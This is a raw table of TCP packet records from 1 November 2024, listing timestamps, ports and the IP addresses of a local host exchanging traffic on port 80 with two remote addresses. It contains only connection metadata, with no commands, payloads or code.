Nov 1, 2024 05:02:34.929402113 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.929441929 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.929692030 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.929706097 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.929754972 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.930274963 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.930289984 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.930351973 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.972012043 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.972049952 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.972074032 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.972088099 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.972161055 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.972161055 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.973447084 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.973512888 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.973529100 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.973558903 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.973649025 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.973664045 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.973692894 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.973773003 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.973786116 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.973813057 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.973819017 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.973831892 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.973855972 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.973918915 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.973942041 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.973961115 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.974061012 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.974065065 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.974104881 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.974183083 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.974256992 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.974272013 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.974297047 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.974319935 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.974376917 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.974477053 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.974495888 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.974529982 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.974601984 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.974617958 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.974662066 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.974751949 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.974767923 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.974782944 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.974807024 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.974828959 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.975095987 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.975164890 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.975182056 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.975212097 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.009773970 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.009799957 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.009824991 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.009860992 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.009876966 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.009881973 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.009900093 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.009928942 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.046166897 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.046190023 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.046205997 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.046246052 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.046269894 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.046284914 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.046325922 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.046421051 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.046437025 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.046474934 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.046477079 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.046513081 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.046627998 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.046643019 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.046657085 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.046679020 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.089262962 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.089268923 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.089274883 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.089339972 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.090379000 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.090456963 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.090471983 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.090528011 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.090580940 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.090596914 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.090611935 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.090641975 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.090653896 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.090810061 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.090823889 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.090904951 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.090922117 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.090943098 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.090972900 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.091006994 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.091073990 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.091089010 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.091114044 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.091208935 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.091224909 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.091263056 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.091439962 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.091466904 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.091506958 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.091567993 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.091603041 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.091625929 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.091640949 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.091679096 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.091825962 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.091888905 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.091907978 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.091939926 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.092035055 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.092050076 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.092066050 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.092083931 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.092094898 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.092201948 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.092226028 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.092267036 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.092449903 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.092508078 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.092521906 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.092560053 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.126622915 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.126656055 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.126671076 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.126677990 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.126713037 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.126760960 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.126837015 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.126887083 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.162914038 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.162950039 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.162965059 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.163008928 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.163021088 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.163073063 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.163115025 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.163161039 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.163177013 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.163199902 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.163259029 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.163383961 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.163436890 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.163472891 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.163489103 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.163526058 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.163553953 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.163595915 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.163609982 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.172244072 CET	80	59859	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:35.172322989 CET	59859	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:35.175165892 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.175493002 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.180303097 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.180346012 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.180397034 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.180430889 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.182133913 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.186846972 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.206047058 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.206103086 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.206120968 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.206144094 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.206188917 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.207267046 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.207288980 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.207329035 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.207374096 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.207415104 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.207438946 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.207480907 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.207508087 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.207550049 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.207648039 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.207705975 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.207720995 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.207748890 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.208128929 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.208195925 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.208210945 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.208240986 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.208266020 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.208318949 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.208429098 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.208445072 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.208460093 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.208470106 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.208477020 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.208496094 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.208648920 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.208698034 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.208713055 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.208750963 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.208792925 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.208833933 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.208849907 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.208889008 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.208975077 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.208995104 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.209045887 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.209227085 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.209285021 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.209300995 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.209332943 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.209419012 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.209435940 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.209481955 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.243556023 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.243571043 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.243597031 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.243633032 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.243675947 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.243680000 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.243695974 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.243719101 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.243745089 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.243875027 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.243902922 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.243913889 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.280046940 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.280090094 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.280124903 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.280134916 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.280164003 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.280206919 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.280227900 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.280302048 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.280339956 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.280421019 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.280482054 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.280495882 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.280520916 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.280534983 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.323091030 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.323126078 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.323139906 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.323221922 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.323230982 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.323249102 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.323271990 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.323329926 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.323420048 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.324342966 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.324412107 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.324428082 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.324457884 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.324498892 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.324541092 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.324548960 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.324645996 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.324661016 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.324717999 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.324721098 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.324737072 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.324775934 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.325016022 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.325062037 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.325094938 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.325109959 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.325145960 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.325191975 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.325208902 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.325223923 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.325259924 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.325408936 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.325432062 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.325490952 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.325511932 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.325552940 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.325577974 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.325592995 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.325664043 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.325664997 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.325826883 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.325869083 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.325920105 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.325936079 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.325995922 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.326039076 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.326059103 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.326105118 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.326313019 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.326368093 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.326384068 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.326410055 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.326524019 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.326539040 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.326555967 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.326607943 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.326607943 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.326855898 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.326881886 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.329376936 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.360599041 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.360668898 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.360683918 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.360712051 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.360754013 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.360815048 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.360836983 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.360837936 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.360925913 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.396962881 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.396996021 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.397011042 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.397032976 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.397052050 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.397078991 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.397128105 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.397166967 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.397190094 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.397217035 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.397306919 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.397321939 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.397345066 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.397393942 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.397459984 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.397464037 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.397476912 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.400222063 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.440015078 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.440045118 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.440073013 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.440089941 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.440109015 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.440150023 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.440156937 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.440172911 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.440218925 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.441230059 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.441281080 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.441296101 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.441334963 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.441378117 CET	80	59856	185.215.113.16	192.168.2.5
